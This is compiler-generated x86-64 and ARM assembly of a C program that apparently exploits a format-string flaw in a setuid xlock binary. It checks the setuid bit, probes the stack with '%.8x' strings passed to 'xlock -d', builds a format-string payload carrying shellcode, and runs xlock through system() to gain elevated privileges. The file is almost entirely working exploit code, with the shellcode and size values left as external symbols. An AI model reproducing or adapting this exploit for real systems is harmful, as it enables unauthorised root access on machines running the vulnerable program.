	.file	"extr_20154.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"whereis xlock?"
.LC1:
	.string	"executable?"
.LC2:
	.string	"not setuid"
.LC3:
	.string	"%.8x "
.LC4:
	.string	"%s -d '%s' 2>&1"
.LC5:
	.string	"r"
.LC6:
	.string	"01010101"
.LC7:
	.string	" "
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC8:
	.string	"reached end of output string and no 01010101"
	.section	.rodata.str1.1
.LC9:
	.string	"%s -d '%s'"
.LC10:
	.string	"====== system() ======"
.LC11:
	.string	"====== end system ======"
.LC12:
	.string	"\nsystem() returned %d\n"
.LC13:
	.string	"prebuf was %d bytes\n"
.LC14:
	.string	"breakfast was %d words\n"
.LC15:
	.string	"location was %.8lx\n"
.LC16:
	.string	"value was %.8lx\n"
.LC17:
	.string	"exiting."
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r15
	push	r14
	push	r13
	push	r12
	push	rbx
	lea	r11, -65536[rsp]
.LPSRL0:
	sub	rsp, 4096
	or	DWORD PTR [rsp], 0
	cmp	rsp, r11
	jne	.LPSRL0
	sub	rsp, 72
	.cfi_offset 15, -24
	.cfi_offset 14, -32
	.cfi_offset 13, -40
	.cfi_offset 12, -48
	.cfi_offset 3, -56
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -56[rbp], rax
	xor	eax, eax
	movsx	rax, DWORD PTR FMTSIZE[rip]
	mov	rcx, rsp
	mov	ebx, edi
	mov	r12, rsi
	add	rax, 15
	mov	rdx, rax
	and	rax, -4096
	sub	rcx, rax
	and	rdx, -16
	mov	rax, rcx
	cmp	rsp, rax
	je	.L3
.L35:
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	cmp	rsp, rax
	jne	.L35
.L3:
	and	edx, 4095
	sub	rsp, rdx
	test	rdx, rdx
	jne	.L36
.L4:
	movsx	rax, DWORD PTR CMDSIZE[rip]
	mov	rcx, rsp
	mov	r13, rsp
	add	rax, 15
	mov	rdx, rax
	and	rax, -4096
	sub	rcx, rax
	and	rdx, -16
	mov	rax, rcx
.L5:
	cmp	rsp, rax
	je	.L6
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	jmp	.L5
.L36:
	or	QWORD PTR -8[rsp+rdx], 0
	jmp	.L4
.L6:
	and	edx, 4095
	sub	rsp, rdx
	test	rdx, rdx
	jne	.L37
.L7:
	mov	eax, DWORD PTR OFFSET[rip]
	mov	rdi, QWORD PTR XLOCK_PATH[rip]
	lea	rsi, -65604[rbp]
	mov	r14, rsp
	mov	DWORD PTR -65632[rbp], eax
	call	stat@PLT
	test	eax, eax
	je	.L8
	mov	esi, DWORD PTR errno[rip]
	lea	rdx, .LC0[rip]
	mov	edi, 1
	call	error@PLT
.L8:
	mov	eax, DWORD PTR -65604[rbp]
	test	DWORD PTR S_IXOTH[rip], eax
	je	.L38
.L9:
	test	DWORD PTR S_ISUID[rip], eax
	je	.L39
.L10:
	cmp	ebx, 1
	jle	.L11
	mov	rdi, QWORD PTR 8[r12]
	call	atoi@PLT
	mov	DWORD PTR -65632[rbp], eax
.L11:
	lea	r12, -65600[rbp]
	xor	esi, esi
	mov	rbx, r13
	xor	r15d, r15d
	mov	edx, 65536
	mov	rdi, r12
	call	memset@PLT
	mov	edx, DWORD PTR FMTSIZE[rip]
	mov	esi, 32
	mov	rdi, r13
	call	memset@PLT
	mov	eax, DWORD PTR BIGBREAKFAST[rip]
	test	eax, eax
	jle	.L14
	.p2align 4,,10
	.p2align 3
.L12:
	mov	rdi, rbx
	mov	edx, 5
	add	rbx, 5
	add	r15d, 1
	lea	rsi, .LC3[rip]
	call	memcpy@PLT
	cmp	DWORD PTR BIGBREAKFAST[rip], r15d
	jg	.L12
.L14:
	mov	edx, 10
	mov	esi, 32
	mov	rdi, r13
	xor	ebx, ebx
	call	memset@PLT
	mov	eax, DWORD PTR FMTSIZE[rip]
	sub	eax, 1
	cdqe
	mov	BYTE PTR 0[r13+rax], 0
.L13:
	mov	edx, ebx
	mov	esi, 3
	mov	rdi, r13
	mov	DWORD PTR -65620[rbp], ebx
	call	memset@PLT
	lea	rdi, 0[r13+rbx]
	mov	edx, 4
	mov	esi, 1
	call	memset@PLT
	mov	rdx, QWORD PTR XLOCK_PATH[rip]
	mov	rcx, r13
	mov	rdi, r14
	lea	rsi, .LC4[rip]
	call	sprintf@PLT
	lea	rsi, .LC5[rip]
	mov	rdi, r14
	call	popen@PLT
	xor	esi, esi
	mov	edx, 65536
	mov	rdi, r12
	mov	r15, rax
	call	memset@PLT
	mov	esi, 1024
	mov	rcx, r15
	mov	rdi, r12
	mov	edx, 64
	call	fread@PLT
	mov	rdi, r15
	call	fclose@PLT
	lea	rsi, .LC6[rip]
	mov	rdi, r12
	call	strstr@PLT
	test	eax, eax
	jne	.L15
	add	rbx, 1
	cmp	rbx, 4
	jne	.L13
	mov	DWORD PTR -65620[rbp], 3
.L15:
	mov	edx, 40
	mov	rdi, r12
	mov	esi, 32
	call	memset@PLT
	mov	rdi, r12
	lea	rsi, .LC7[rip]
	mov	r12d, 1
	call	strtok@PLT
	mov	edx, 16
	xor	esi, esi
	lea	rbx, .LC7[rip]
	mov	rdi, rax
	call	strtoul@PLT
	movsx	rdx, DWORD PTR -65632[rbp]
	sub	rax, rdx
	mov	rcx, rax
	mov	QWORD PTR -65640[rbp], rax
	movsx	rax, DWORD PTR FMTSIZE[rip]
	lea	rax, -92[rcx+rax]
	mov	QWORD PTR -65648[rbp], rax
	jmp	.L18
	.p2align 4,,10
	.p2align 3
.L16:
	mov	ecx, 9
	mov	rsi, r8
	lea	rdi, .LC6[rip]
	repz cmpsb
	seta	al
	sbb	al, 0
	test	al, al
	je	.L17
	add	r12d, 1
.L18:
	mov	rsi, rbx
	xor	edi, edi
	call	strtok@PLT
	mov	r8, rax
	test	rax, rax
	jne	.L16
	lea	rdx, .LC8[rip]
	xor	esi, esi
	mov	edi, 1
	mov	QWORD PTR -65632[rbp], rax
	call	error@PLT
	mov	r8, QWORD PTR -65632[rbp]
	jmp	.L16
	.p2align 4,,10
	.p2align 3
.L17:
	mov	r15d, DWORD PTR -65620[rbp]
	mov	rcx, QWORD PTR -65648[rbp]
	mov	esi, r12d
	mov	rdx, QWORD PTR -65640[rbp]
	mov	edi, r15d
	call	mkfmt@PLT
	mov	edx, DWORD PTR FMTSIZE[rip]
	mov	esi, 144
	mov	rdi, r13
	mov	rbx, rax
	call	memset@PLT
	mov	rdi, rbx
	call	strlen@PLT
	mov	rsi, rbx
	mov	rdi, r13
	mov	edx, eax
	call	memcpy@PLT
	mov	rdi, rbx
	call	free@PLT
	mov	eax, DWORD PTR FMTSIZE[rip]
	mov	esi, DWORD PTR shellcode[rip]
	lea	edi, -4[rax]
	movsx	rdi, edi
	add	rdi, r13
	call	strcpy@PLT
	mov	rdx, QWORD PTR XLOCK_PATH[rip]
	mov	rcx, r13
	mov	rdi, r14
	lea	rsi, .LC9[rip]
	call	sprintf@PLT
	lea	rdi, .LC10[rip]
	call	puts@PLT
	mov	rdi, r14
	call	system@PLT
	lea	rdi, .LC11[rip]
	mov	r13d, eax
	call	puts@PLT
	mov	esi, r13d
	lea	rdi, .LC12[rip]
	xor	eax, eax
	call	printf@PLT
	mov	esi, r15d
	lea	rdi, .LC13[rip]
	xor	eax, eax
	call	printf@PLT
	mov	esi, r12d
	lea	rdi, .LC14[rip]
	xor	eax, eax
	call	printf@PLT
	mov	rsi, QWORD PTR -65640[rbp]
	lea	rdi, .LC15[rip]
	xor	eax, eax
	call	printf@PLT
	mov	rsi, QWORD PTR -65648[rbp]
	lea	rdi, .LC16[rip]
	xor	eax, eax
	call	printf@PLT
	lea	rdi, .LC17[rip]
	call	puts@PLT
	mov	rax, QWORD PTR -56[rbp]
	xor	rax, QWORD PTR fs:40
	jne	.L40
	lea	rsp, -40[rbp]
	xor	eax, eax
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	r15
	pop	rbp
	.cfi_remember_state
	.cfi_def_cfa 7, 8
	ret
.L39:
	.cfi_restore_state
	lea	rdx, .LC2[rip]
	xor	esi, esi
	mov	edi, 1
	call	error@PLT
	jmp	.L10
.L38:
	lea	rdx, .LC1[rip]
	xor	esi, esi
	mov	edi, 1
	call	error@PLT
	mov	eax, DWORD PTR -65604[rbp]
	jmp	.L9
.L37:
	or	QWORD PTR -8[rsp+rdx], 0
	jmp	.L7
.L40:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	shellcode,4,4
	.comm	errno,4,4
	.comm	XLOCK_PATH,8,8
	.comm	S_IXOTH,4,4
	.comm	S_ISUID,4,4
	.comm	OFFSET,4,4
	.comm	FMTSIZE,4,4
	.comm	CMDSIZE,4,4
	.comm	BIGBREAKFAST,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_20154.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"whereis xlock?\000"
	.align	2
.LC1:
	.ascii	"executable?\000"
	.align	2
.LC2:
	.ascii	"not setuid\000"
	.align	2
.LC3:
	.ascii	"%.8x \000"
	.align	2
.LC4:
	.ascii	"%s -d '%s' 2>&1\000"
	.align	2
.LC5:
	.ascii	"r\000"
	.align	2
.LC6:
	.ascii	"01010101\000"
	.align	2
.LC7:
	.ascii	" \000"
	.align	2
.LC8:
	.ascii	"reached end of output string and no 01010101\000"
	.align	2
.LC9:
	.ascii	"%s -d '%s'\000"
	.align	2
.LC10:
	.ascii	"====== system() ======\000"
	.align	2
.LC11:
	.ascii	"====== end system ======\000"
	.align	2
.LC12:
	.ascii	"\012system() returned %d\012\000"
	.align	2
.LC13:
	.ascii	"prebuf was %d bytes\012\000"
	.align	2
.LC14:
	.ascii	"breakfast was %d words\012\000"
	.align	2
.LC15:
	.ascii	"location was %.8lx\012\000"
	.align	2
.LC16:
	.ascii	"value was %.8lx\012\000"
	.align	2
.LC17:
	.ascii	"exiting.\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC18:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 65552
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, r10, fp, lr}
	add	fp, sp, #32
	sub	sp, sp, #65536
	sub	sp, sp, #20
	ldr	r2, .L27
	ldr	r3, .L27+4
	ldr	r2, [r2]
	ldr	r3, [r3]
	add	r2, r2, #7
	bic	r2, r2, #7
	add	r3, r3, #7
	sub	sp, sp, r2
	bic	r3, r3, #7
	ldr	r2, .L27+8
	mov	r5, sp
	sub	sp, sp, r3
	ldr	r3, .L27+12
	mov	r7, r1
	sub	r4, fp, #65536
	ldr	r1, .L27+16
	ldr	r3, [r3]
	str	r3, [fp, #-40]
	mov	r3,#0
	sub	r4, r4, #36
	ldr	r3, [r2]
	sub	r2, fp, #65536
	mov	r6, r0
	ldr	r0, [r1]
	sub	r1, r4, #8
	sub	r2, r2, #52
	str	r3, [r2]
	bl	stat
	cmp	r0, #0
	mov	r9, sp
	bne	.L23
.L2:
	ldr	r2, .L27+20
	ldr	r3, [r4, #-8]
	ldr	r1, [r2]
	ands	r1, r3, r1
	beq	.L24
.L3:
	ldr	r2, .L27+24
	ldr	r1, [r2]
	ands	r1, r3, r1
	beq	.L25
.L4:
	cmp	r6, #1
	ble	.L5
	ldr	r0, [r7, #4]
	bl	atoi
	sub	r3, fp, #65536
	sub	r3, r3, #52
	str	r0, [r3]
.L5:
	sub	r2, fp, #65536
	sub	r3, r4, #4
	str	r3, [r2, #-48]
	sub	r2, r2, #48
	mov	r1, #0
	ldr	r0, [r2]
	mov	r2, #65536
	bl	memset
	ldr	r3, .L27
	ldr	r6, .L27+28
	ldr	r2, [r3]
	mov	r1, #32
	mov	r0, r5
	bl	memset
	ldr	r3, [r6]
	cmp	r3, #0
	ble	.L8
	mov	r3, r5
	mov	r4, #0
	ldr	r7, .L27+32
.L6:
	mov	r2, #5
	mov	r0, r3
	mov	r1, r7
	bl	memcpy
	ldr	r2, [r6]
	add	r4, r4, #1
	cmp	r2, r4
	add	r3, r0, #5
	bgt	.L6
.L8:
	mov	r2, #10
	mov	r1, #32
	mov	r0, r5
	bl	memset
	mov	r2, #0
	mov	r4, r2
	ldr	r3, .L27
	ldr	r8, .L27+36
	ldr	r3, [r3]
	ldr	r7, .L27+40
	add	r3, r5, r3
	ldr	r6, .L27+44
	strb	r2, [r3, #-1]
.L7:
	mov	r2, r4
	mov	r1, #3
	mov	r0, r5
	bl	memset
	mov	ip, #1
	ldr	r2, .L27+16
	add	lr, r5, r4
	ldr	r2, [r2]
	mov	r3, r5
	strb	ip, [r5, r4]
	mov	r1, r8
	strb	ip, [lr, #1]
	strb	ip, [lr, #2]
	strb	ip, [lr, #3]
	mov	r0, r9
	bl	sprintf
	mov	r1, r7
	mov	r0, r9
	bl	popen
	mov	r10, r0
	sub	r3, fp, #65536
	mov	r2, #65536
	mov	r1, #0
	ldr	r0, [r3, #-48]
	sub	r3, r3, #48
	bl	memset
	sub	r0, fp, #65536
	sub	r0, r0, #48
	mov	r3, r10
	mov	r2, #64
	mov	r1, #1024
	ldr	r0, [r0]
	bl	fread
	mov	r0, r10
	bl	fclose
	sub	r3, fp, #65536
	mov	r1, r6
	ldr	r0, [r3, #-48]
	sub	r3, r3, #48
	bl	strstr
	cmp	r0, #0
	mov	r10, r4
	add	r4, r4, #1
	bne	.L9
	cmp	r4, #4
	bne	.L7
	mov	r10, #3
.L9:
	sub	r3, fp, #65536
	mov	r2, #40
	mov	r1, #32
	ldr	r0, [r3, #-48]
	sub	r3, r3, #48
	bl	memset
	sub	r3, fp, #65536
	ldr	r0, [r3, #-48]
	ldr	r1, .L27+48
	sub	r3, r3, #48
	bl	strtok
	mov	r2, #16
	mov	r1, #0
	bl	strtoul
	ldr	r3, .L27
	sub	r2, fp, #65536
	sub	r2, r2, #52
	ldr	r2, [r2]
	ldr	r3, [r3]
	sub	r1, fp, #65536
	sub	r2, r0, r2
	sub	r3, r3, #92
	add	r3, r3, r2
	str	r2, [r1, #-48]
	sub	r2, fp, #65536
	sub	r1, r1, #48
	sub	r2, r2, #52
	mov	r6, #1
	ldr	r8, .L27+48
	ldr	r7, .L27+44
	str	r3, [r2]
	b	.L12
.L10:
	mov	r0, r4
	mov	r1, r7
	bl	strcmp
	cmp	r0, #0
	beq	.L11
	add	r6, r6, #1
.L12:
	mov	r1, r8
	mov	r0, #0
	bl	strtok
	subs	r4, r0, #0
	bne	.L10
	mov	r1, r4
	ldr	r2, .L27+52
	mov	r0, #1
	bl	error
	b	.L10
.L11:
	sub	r3, fp, #65536
	sub	r2, fp, #65536
	sub	r3, r3, #52
	sub	r2, r2, #48
	ldr	r3, [r3]
	mov	r1, r6
	ldr	r2, [r2]
	mov	r4, r0
	mov	r0, r10
	bl	mkfmt
	mov	r7, r0
	ldr	r8, .L27
	mov	r1, #144
	ldr	r2, [r8]
	mov	r0, r5
	bl	memset
	mov	r0, r7
	bl	strlen
	mov	r1, r7
	mov	r2, r0
	mov	r0, r5
	bl	memcpy
	mov	r0, r7
	bl	free
	ldr	r0, [r8]
	ldr	r3, .L27+56
	sub	r0, r0, #4
	ldr	r1, [r3]
	add	r0, r5, r0
	bl	strcpy
	ldr	r0, .L27+16
	mov	r3, r5
	ldr	r2, [r0]
	ldr	r1, .L27+60
	mov	r0, r9
	bl	sprintf
	ldr	r0, .L27+64
	bl	puts
	mov	r0, r9
	bl	system
	mov	r5, r0
	ldr	r0, .L27+68
	bl	puts
	mov	r1, r5
	ldr	r0, .L27+72
	bl	printf
	mov	r1, r10
	ldr	r0, .L27+76
	bl	printf
	mov	r1, r6
	ldr	r0, .L27+80
	bl	printf
	sub	r3, fp, #65536
	ldr	r1, [r3, #-48]
	ldr	r0, .L27+84
	sub	r3, r3, #48
	bl	printf
	sub	r3, fp, #65536
	ldr	r1, [r3, #-52]
	ldr	r0, .L27+88
	sub	r3, r3, #52
	bl	printf
	ldr	r0, .L27+92
	bl	puts
	ldr	r3, .L27+12
	ldr	r2, [r3]
	ldr	r3, [fp, #-40]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L26
	mov	r0, r4
	sub	sp, fp, #32
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, r10, fp, pc}
.L25:
	ldr	r2, .L27+96
	mov	r0, #1
	bl	error
	b	.L4
.L24:
	mov	r0, #1
	ldr	r2, .L27+100
	bl	error
	ldr	r3, [r4, #-8]
	b	.L3
.L23:
	ldr	r3, .L27+104
	ldr	r2, .L27+108
	ldr	r1, [r3]
	mov	r0, #1
	bl	error
	b	.L2
.L26:
	bl	__stack_chk_fail
.L28:
	.align	2
.L27:
	.word	FMTSIZE
	.word	CMDSIZE
	.word	OFFSET
	.word	.LC18
	.word	XLOCK_PATH
	.word	S_IXOTH
	.word	S_ISUID
	.word	BIGBREAKFAST
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	shellcode
	.word	.LC9
	.word	.LC10
	.word	.LC11
	.word	.LC12
	.word	.LC13
	.word	.LC14
	.word	.LC15
	.word	.LC16
	.word	.LC17
	.word	.LC2
	.word	.LC1
	.word	errno
	.word	.LC0
	.size	main, .-main
	.comm	shellcode,4,4
	.comm	errno,4,4
	.comm	XLOCK_PATH,4,4
	.comm	S_IXOTH,4,4
	.comm	S_ISUID,4,4
	.comm	OFFSET,4,4
	.comm	FMTSIZE,4,4
	.comm	CMDSIZE,4,4
	.comm	BIGBREAKFAST,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
